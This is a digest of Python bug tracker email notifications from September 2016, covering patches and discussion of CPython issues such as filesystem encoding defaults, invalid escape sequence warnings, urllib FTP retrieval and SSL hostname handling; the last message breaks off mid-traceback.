Date: Fri, 16 Sep 2016 09:42:11 +0000
Subject: [issue28179] Segfault in test_recursionlimit_fatalerror
In-Reply-To: <1474017738.64.0.366816916836.issue28179@psf.upfronthosting.co.za>
Message-ID: <1474018931.13.0.282821059303.issue28179@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


Added file: http://bugs.python.org/file44688/full_output.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28179>
_______________________________________

From report at bugs.python.org  Fri Sep 16 06:04:20 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 16 Sep 2016 10:04:20 +0000
Subject: [issue25270] codecs.escape_encode systemerror on empty byte string
In-Reply-To: <1443542758.27.0.114315188103.issue25270@psf.upfronthosting.co.za>
Message-ID: <1474020260.08.0.559509208367.issue25270@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here is an updated patch.

----------
versions: +Python 3.7
Added file: http://bugs.python.org/file44689/issue25270_v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25270>
_______________________________________

From report at bugs.python.org  Fri Sep 16 06:25:51 2016
From: report at bugs.python.org (Marcus Cobden)
Date: Fri, 16 Sep 2016 10:25:51 +0000
Subject: [issue27415] regression: BaseEventLoop.create_server does not accept
 port=None
In-Reply-To: <1467211561.08.0.329801464417.issue27415@psf.upfronthosting.co.za>
Message-ID: <1474021551.29.0.522859815197.issue27415@psf.upfronthosting.co.za>


Marcus Cobden added the comment:

Still doesn't work in Python 3.4.5; I can confirm it's fixed in Python 3.5.2.

----------
resolution: works for me -> 
status: closed -> open
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27415>
_______________________________________

From report at bugs.python.org  Fri Sep 16 06:37:57 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 16 Sep 2016 10:37:57 +0000
Subject: [issue27415] regression: BaseEventLoop.create_server does not accept
 port=None
In-Reply-To: <1467211561.08.0.329801464417.issue27415@psf.upfronthosting.co.za>
Message-ID: <1474022277.73.0.634907099296.issue27415@psf.upfronthosting.co.za>


Berker Peksag added the comment:

3.4 is in security-fix-only mode so it doesn't get bugfix updates anymore.

----------
nosy: +berker.peksag
resolution:  -> out of date
status: open -> closed
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27415>
_______________________________________

From report at bugs.python.org  Fri Sep 16 06:43:58 2016
From: report at bugs.python.org (Marcus Cobden)
Date: Fri, 16 Sep 2016 10:43:58 +0000
Subject: [issue27415] regression: BaseEventLoop.create_server does not accept
 port=None
In-Reply-To: <1467211561.08.0.329801464417.issue27415@psf.upfronthosting.co.za>
Message-ID: <1474022638.81.0.287292697242.issue27415@psf.upfronthosting.co.za>


Marcus Cobden added the comment:

Ah thanks, that's fair.
It seems a shame since this regression was introduced to 3.4 by a security/bugfix release.
Since there's a workaround it's not a big deal.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27415>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:17:02 2016
From: report at bugs.python.org (Jan Niklas Hasse)
Date: Fri, 16 Sep 2016 11:17:02 +0000
Subject: [issue28180] sys.getfilesystemencoding() should default to utf-8
Message-ID: <1474024622.65.0.838685461995.issue28180@psf.upfronthosting.co.za>


New submission from Jan Niklas Hasse:

Working with Docker I often end up with an environment where the locale isn't correctly set. In these cases it would be great if sys.getfilesystemencoding() could default to 'utf-8' instead of 'ascii', as it's the encoding of the future and ascii is a subset of it anyway.

Related: http://bugs.python.org/issue19846

----------
components: Unicode
messages: 276693
nosy: Jan Niklas Hasse, ezio.melotti, haypo
priority: normal
severity: normal
status: open
title: sys.getfilesystemencoding() should default to utf-8
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28180>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:22:16 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 16 Sep 2016 11:22:16 +0000
Subject: [issue28180] sys.getfilesystemencoding() should default to utf-8
In-Reply-To: <1474024622.65.0.838685461995.issue28180@psf.upfronthosting.co.za>
Message-ID: <1474024936.38.0.411479744719.issue28180@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

This is a duplicate of issue27781.

----------
nosy: +ebarry
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Change sys.getfilesystemencoding() on Windows to UTF-8

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28180>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:25:00 2016
From: report at bugs.python.org (Kaartic Sivaraam)
Date: Fri, 16 Sep 2016 11:25:00 +0000
Subject: [issue28181] Change URL in antigravity library file
Message-ID: <1474025100.38.0.11071448867.issue28181@psf.upfronthosting.co.za>


New submission from Kaartic Sivaraam:

I use a network that is monitored and filtered by Cyberoam. The use Cyberoam to block some websites, and some content. 

I came to know of the antigravity easter egg recently. I tried it using  'import antigravity' and it opened the xkcd website as expected, but did not display the picture. I was able to view the image, when I changed the URL from http://xkcd.com/353 to https://xkcd.com/353 
I found that I could not view the image as Cyberoam (for some unknown reason) blocked the loading of the picture for the HTTP site.

If it does not cause any compatibility issue or other issues, please change the URL in  the antigravity library also to a HTTPS one. I request you to change this as this may go unnoticed to other people who are not aware of it.

I have attached a patch that changes the URL. You may use it if it's ok changing the URL.

----------
components: Library (Lib)
files: antigravity-patch.patch
keywords: patch
messages: 276695
nosy: kaartic
priority: normal
severity: normal
status: open
title: Change URL in antigravity library file
type: behavior
versions: Python 3.7
Added file: http://bugs.python.org/file44690/antigravity-patch.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28181>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:27:31 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 16 Sep 2016 11:27:31 +0000
Subject: [issue28181] Change URL in antigravity library file
In-Reply-To: <1474025100.38.0.11071448867.issue28181@psf.upfronthosting.co.za>
Message-ID: <1474025251.42.0.643235598341.issue28181@psf.upfronthosting.co.za>


Christian Heimes added the comment:

xkcd redirects http to https. It makes sense to fix the module and use https.

----------
nosy: +christian.heimes
stage:  -> patch review
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28181>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:29:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 11:29:26 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>
Message-ID: <1474025366.23.0.669587039982.issue28158@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

There is too much magic in ceval_cache.h. Since the patch adds caching only for the LOAD_GLOBAL opcode, it would much clearer if write functions only for the LOAD_GLOBAL opcode, without multilayer macros.

What will happen if there more than 255 LOAD_GLOBALs. Wouldn't 256th LOAD_GLOBAL return incorrect cached value for the the LOAD_GLOBAL (with index 0)?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:35:15 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 16 Sep 2016 11:35:15 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1474025715.56.0.508269116061.issue28128@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Couldn't we create a private version of PyUnicode_DecodeUnicodeEscape, to be called by ast.c, which passes back invalid escape info? Then have the actual warning raised by ast.c, which knows enough about the context to generate a better error/warning. I think we'd only be able to report on he first error in a string, though, but I haven't thought it all the way through.

I believe we'd only need to modify decode_unicode_with_escapes() in ast.c, which is called for both regular strings and f-string. And of course PyUnicode_DecodeUnicodeEscape would have to call the new private version and do the right thing.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:36:57 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 16 Sep 2016 11:36:57 +0000
Subject: [issue25270] codecs.escape_encode systemerror on empty byte string
In-Reply-To: <1443542758.27.0.114315188103.issue25270@psf.upfronthosting.co.za>
Message-ID: <1474025817.89.0.977548359301.issue25270@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the review, Serhiy. Here's an updated patch.

----------
Added file: http://bugs.python.org/file44691/issue25270_v3.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25270>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:39:14 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Fri, 16 Sep 2016 11:39:14 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1474025954.94.0.849592531972.issue27973@psf.upfronthosting.co.za>


Sohaib Ahmad added the comment:

The attached patch fixes the problem with multiple ftp downloads while keeping the fix for issue1067702 intact.

The fix basically uses a new parameter ftp_retrieve to change the behavior of ftpwrapper.retrfile() if it is being called by urlretrieve().

I am not familiar with the process of contributing a patch in Python repo so please review and commit the attached urllib.patch file.

Tested with urlopen (https, http, ftp) and urlretrieve (ftp).

----------
keywords: +patch
Added file: http://bugs.python.org/file44692/urllib.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:45:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 16 Sep 2016 11:45:09 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <20160916114458.15260.49146.FA559736@psf.io>


Roundup Robot added the comment:

New changeset a5e8fe666c6b by Berker Peksag in branch '3.5':
Issue #25895: Enable WebSocket URL schemes in urllib.parse.urljoin
https://hg.python.org/cpython/rev/a5e8fe666c6b

New changeset 9bf370a33938 by Berker Peksag in branch '3.6':
Issue #25895: Merge from 3.5
https://hg.python.org/cpython/rev/9bf370a33938

New changeset 2fc89d6eff20 by Berker Peksag in branch 'default':
Issue #25895: Merge from 3.6
https://hg.python.org/cpython/rev/2fc89d6eff20

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:46:51 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 16 Sep 2016 11:46:51 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1474026411.31.0.507907698552.issue25895@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thank you Gergely and Markus!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:49:06 2016
From: report at bugs.python.org (Antti Haapala)
Date: Fri, 16 Sep 2016 11:49:06 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>
Message-ID: <1474026546.83.0.810974352999.issue28158@psf.upfronthosting.co.za>


Antti Haapala added the comment:

I wouldn't actually consider the builtin lookup speed almost at all, in all non-trivial applications the ratio of builtins to any other names will diminish; and if there is a tight loop, it is possible to always speed it up by `min = min` if you do not need to support monkey patching.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:50:49 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 16 Sep 2016 11:50:49 +0000
Subject: [issue28181] Change URL in antigravity library file
In-Reply-To: <1474025100.38.0.11071448867.issue28181@psf.upfronthosting.co.za>
Message-ID: <20160916115044.82902.26139.CB3051F4@psf.io>


Roundup Robot added the comment:

New changeset b8ac4ee42ad3 by Christian Heimes in branch '3.5':
Issue #28181: Get antigravity over HTTPS. Patch by Kaartic Sivaraam.
https://hg.python.org/cpython/rev/b8ac4ee42ad3

New changeset 0820d023077e by Christian Heimes in branch '3.6':
Issue #28181: Get antigravity over HTTPS. Patch by Kaartic Sivaraam.
https://hg.python.org/cpython/rev/0820d023077e

New changeset 7ebd6271094d by Christian Heimes in branch 'default':
Issue #28181: Get antigravity over HTTPS. Patch by Kaartic Sivaraam.
https://hg.python.org/cpython/rev/7ebd6271094d

New changeset 742a798c4da6 by Christian Heimes in branch 'default':
Issue #28181: Add Kaartic Sivaraam to Misc/ACKS.
https://hg.python.org/cpython/rev/742a798c4da6

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28181>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:54:52 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 16 Sep 2016 11:54:52 +0000
Subject: [issue28181] Change URL in antigravity library file
In-Reply-To: <1474025100.38.0.11071448867.issue28181@psf.upfronthosting.co.za>
Message-ID: <1474026892.13.0.426947312524.issue28181@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks for your contribution!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28181>
_______________________________________

From report at bugs.python.org  Fri Sep 16 09:00:36 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 16 Sep 2016 13:00:36 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1474010654.77.0.721096312675.issue28123@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbKSB0iyPGoPGaYes+z1d=NLM+K9AXGrK7Q7rp0tVZr4w@mail.gmail.com>


STINNER Victor added the comment:

Xiang Zhang: "I am still afraid changing it may break knowledge of
devs that are already familiar with dict APIs"

Come on, the function is only called 4 times in the whole code base,
and the function is private. Private means that we are free to break
its behaviour anytime, it's part of the contract.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Fri Sep 16 09:02:20 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 16 Sep 2016 13:02:20 +0000
Subject: [issue28180] sys.getfilesystemencoding() should default to utf-8
In-Reply-To: <1474024622.65.0.838685461995.issue28180@psf.upfronthosting.co.za>
Message-ID: <1474030940.43.0.534518506342.issue28180@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> This is a duplicate of issue27781.

issue27781 is specific to Windows. I'm not sure that it's the base in this issue. So I reopen the issue.

@Jan Niklas Hasse: What is your OS?

I proposed to add "-X utf8" command line option for UNIX to force utf8 encoding. Would it work for you?

----------
resolution: duplicate -> 
status: closed -> open
superseder: Change sys.getfilesystemencoding() on Windows to UTF-8 -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28180>
_______________________________________

From report at bugs.python.org  Fri Sep 16 09:07:49 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 16 Sep 2016 13:07:49 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1474031269.1.0.478652624312.issue28123@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Hah, Okay. I'll make the corresponding change then.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Fri Sep 16 09:09:34 2016
From: report at bugs.python.org (Jan Niklas Hasse)
Date: Fri, 16 Sep 2016 13:09:34 +0000
Subject: [issue28180] sys.getfilesystemencoding() should default to utf-8
In-Reply-To: <1474024622.65.0.838685461995.issue28180@psf.upfronthosting.co.za>
Message-ID: <1474031374.93.0.833925905738.issue28180@psf.upfronthosting.co.za>


Jan Niklas Hasse added the comment:

Unfortunately no, as this would mean I'll have to change all my python invocations in my scripts and it wouldn't work for executable files with

#!/usr/bin/env python3

would it?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28180>
_______________________________________

From report at bugs.python.org  Fri Sep 16 09:12:24 2016
From: report at bugs.python.org (Jim Fulton)
Date: Fri, 16 Sep 2016 13:12:24 +0000
Subject: [issue27391] server_hostname should only be required when checking
 host names
In-Reply-To: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za>
Message-ID: <1474031544.5.0.520599069789.issue27391@psf.upfronthosting.co.za>


Jim Fulton added the comment:

I'm not ignoring anything AFAICT.

There are applications where server hostname isn't useful (no virtual hosts, client has server's public key).

I'm not positive we're disagreeing, so let me put this another way.

1. If the given SSL context has check_hostname set to False,
   then ``create_connection`` should not not require a value for
   ``server_hostname``, regardless of the value of ``host``.

   Do you agree?

2. If the given SSL context has check_hostname set to True,
   then ``create_connection`` should not accept an empty string
   to disable hostname checks.

   Do you agree? I'm wondering is this is what you're referring to
   as a bug.

   Personally, this only bothers me from a TOOWTDI perspective.
   I can imagine (always a dangerous word :)) people wanting to 
   reuse an SSL context but disable host name checking. In any case,
   "fixing" this would likely be a breaking change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27391>
_______________________________________

From report at bugs.python.org  Fri Sep 16 09:13:05 2016
From: report at bugs.python.org (Jim Fulton)
Date: Fri, 16 Sep 2016 13:13:05 +0000
Subject: [issue27386] Asyncio server hang when clients connect and immediately
 disconnect
In-Reply-To: <1466888194.59.0.640833210662.issue27386@psf.upfronthosting.co.za>
Message-ID: <1474031585.91.0.23488584354.issue27386@psf.upfronthosting.co.za>


Jim Fulton added the comment:

Cool, I will verify soon.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27386>
_______________________________________

From report at bugs.python.org  Fri Sep 16 09:13:32 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 13:13:32 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1474031612.34.0.756244282556.issue28123@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +rhettinger, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Fri Sep 16 09:31:13 2016
From: report at bugs.python.org (Kaartic Sivaraam)
Date: Fri, 16 Sep 2016 13:31:13 +0000
Subject: [issue28181] Change URL in antigravity library file
In-Reply-To: <1474025100.38.0.11071448867.issue28181@psf.upfronthosting.co.za>
Message-ID: <1474032673.41.0.179780381753.issue28181@psf.upfronthosting.co.za>


Kaartic Sivaraam added the comment:

Don't Mention. It was my long time wish to contribute to  open source projects.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28181>
_______________________________________

From report at bugs.python.org  Fri Sep 16 09:57:49 2016
From: report at bugs.python.org (sashk)
Date: Fri, 16 Sep 2016 13:57:49 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1474034269.75.0.639144549939.issue27806@psf.upfronthosting.co.za>


sashk added the comment:

Thank you for feedback. Here is second version of the patch.

----------
Added file: http://bugs.python.org/file44693/issue27806_v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:01:27 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Fri, 16 Sep 2016 14:01:27 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1474034487.53.0.984921242456.issue27973@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

Hi Sohaib,

I will get the proper fix for this issue. 

A comment on the patch. Changing the API to `def open(self, fullurl, data=None, ftp_retrieve=False):`  just breaks the abstraction of the open method and may not be the way to go for this. Any changes that is required should be within the FTPHandler classes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:22:12 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 16 Sep 2016 14:22:12 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1474035732.57.0.16776622283.issue28128@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Here is an extremely rough patch that shows the basic concept. I named the private function _PyUnicode_DecodeUnicodeEscape.

The problems with this patch are:
1. it always raises an error, not a warning
2. the private function isn't declared in a .h file
3. the name of the private function needs some thought
4. only the first invalid escape in a string is reported
5. I don't report the correct location in the string with the invalid escape
6. there may well be a memory leak
7. PEP 7 problems

#1 is because I was too lazy to refactor ast_error() to format the string I need without raising an error.

#5 could be solved with a callback and something to record multiple bad escapes per string, if we want to go that far. We'd have to decide how to show this. Multiple warnings, or one warning with multiple bad chars?

The rest of it is just quality of implementation stuff that we can work out if the approach is sound.

----------
keywords: +patch
Added file: http://bugs.python.org/file44694/28128.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:23:50 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 16 Sep 2016 14:23:50 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1474035830.33.0.0254216406092.issue28128@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

I forgot: this is what Nick's example now looks like:

$ ./python -Wall escape_warning.py
Traceback (most recent call last):
  File "escape_warning.py", line 1, in <module>
    import bad_escape
  File "/home/eric/local/python/cpython/bad_escape.py", line 1
    print('\d')
         ^
SyntaxError: invalid escape sequence \d

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:25:40 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 16 Sep 2016 14:25:40 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1474035940.97.0.888963730314.issue28128@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Also, I assume this is a problem with all such syntax warnings: you only see this warning/error when the file is originally compiled. Once the .pyc file exists, you'll never see a warning or error. Maybe that's okay, but it means there's a certain class of installations (such as .pyc compiled at install time) that won't be able to know these warnings exist.

This screwed me up for a while when I was developing this patch. The warnings disappeared!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:31:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 16 Sep 2016 14:31:45 +0000
Subject: [issue25270] codecs.escape_encode systemerror on empty byte string
In-Reply-To: <1443542758.27.0.114315188103.issue25270@psf.upfronthosting.co.za>
Message-ID: <20160916143133.14864.54304.93E586A1@psf.io>


Roundup Robot added the comment:

New changeset 2a4fb01fa1a3 by Berker Peksag in branch '3.5':
Issue #25270: Prevent codecs.escape_encode() from raising SystemError when an empty bytestring is passed
https://hg.python.org/cpython/rev/2a4fb01fa1a3

New changeset 8a649009a0e9 by Berker Peksag in branch '3.6':
Issue #25270: Merge from 3.5
https://hg.python.org/cpython/rev/8a649009a0e9

New changeset 48b55cada2c9 by Berker Peksag in branch 'default':
Issue #25270: Merge from 3.6
https://hg.python.org/cpython/rev/48b55cada2c9

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25270>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:33:06 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 16 Sep 2016 14:33:06 +0000
Subject: [issue25270] codecs.escape_encode systemerror on empty byte string
In-Reply-To: <1443542758.27.0.114315188103.issue25270@psf.upfronthosting.co.za>
Message-ID: <1474036386.3.0.211687296571.issue25270@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the reviews everyone!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25270>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:34:26 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 16 Sep 2016 14:34:26 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1474036466.45.0.0456320227121.issue28128@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Personally I'd be fine with only one warning, reporting the first invalid escape. Presumably the string would be checked as a whole, or would get an r prefix. Patch seems like a good start; bytes would also need updating in that regard. Don't worry too much about the details, we can iron that out later :)

Also yeah, the fact that warnings are triggered at compile time results in surprising behaviour even for me. I'm liking the idea of a DeprecatedSyntaxWarning more.

I'll try to get some work done in that regard by the end of next week, but life's been somewhat busy so I can't give any guarantees. Thank you for your patch draft though, it helps me to figure out how I should tackle this!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:35:05 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 16 Sep 2016 14:35:05 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1474036505.5.0.771442619539.issue28143@psf.upfronthosting.co.za>


R. David Murray added the comment:

If we go that route it doesn't, from a certain point of view, solve the problem for systems that *only* ship python3...but I think we can ignore that issue: IMO it would be fine in that scenario to say that if you want to run the python2 regen scripts you have to install python2.  Especially since you can do that by building from source using the checked in artifacts.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:39:41 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 16 Sep 2016 14:39:41 +0000
Subject: [issue27391] server_hostname should only be required when checking
 host names
In-Reply-To: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za>
Message-ID: <1474036781.93.0.0880177919361.issue27391@psf.upfronthosting.co.za>


Changes by Guido van Rossum <guido at python.org>:


----------
nosy:  -gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27391>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:46:05 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 16 Sep 2016 14:46:05 +0000
Subject: [issue28180] sys.getfilesystemencoding() should default to utf-8
In-Reply-To: <1474024622.65.0.838685461995.issue28180@psf.upfronthosting.co.za>
Message-ID: <1474037165.47.0.13963514685.issue28180@psf.upfronthosting.co.za>


R. David Murray added the comment:

I thought we "fixed" this by using surrogate escape when the locale was ASCII?  We certainly have discussed changing the default and posix and so far have decided not to (someday that will change...is this someday already?)

----------
nosy: +r.david.murray
stage: resolved -> 
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28180>
_______________________________________

From report at bugs.python.org  Fri Sep 16 10:59:17 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Fri, 16 Sep 2016 14:59:17 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1474037957.12.0.560648362076.issue27973@psf.upfronthosting.co.za>


Sohaib Ahmad added the comment:

Hi Senthil,

Thanks for the review. Now that I look at it, even with a default value, an ftp specific parameter sure does break the open() API abstraction.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Fri Sep 16 11:06:43 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Fri, 16 Sep 2016 15:06:43 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
Message-ID: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

This was originally a post at python-ideas. Now I reformat it to be more like a feature request.

Currently, Python raises SSLError with reason=CERTIFICATE_VERIFY_FAILED for all kinds of certificate verification failures. This results in difficulties in debugging SSL errors for others. (Some downstream bug reports: [1][2]) In OpenSSL, such errors are further divided into several kinds. For example, expired certificates result in X509_V_ERR_CERT_HAS_EXPIRED, and typical self-signed certificates fall into X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT. The error code can be retrieved via `SSL_get_verify_result` and human readable messages are available from `X509_verify_cert_error_string`. I hope I can get error messages like this: (Omit URLError to avoid verbose messages)

$ ./python -c 'import urllib.request; urllib.request.urlopen("https://self-signed.badssl.com/")'
Traceback (most recent call last):
  File "/home/yen/Projects/cpython/Lib/urllib/request.py", line 1318, in do_open
    encode_chunked=req.has_header('Transfer-encoding'))
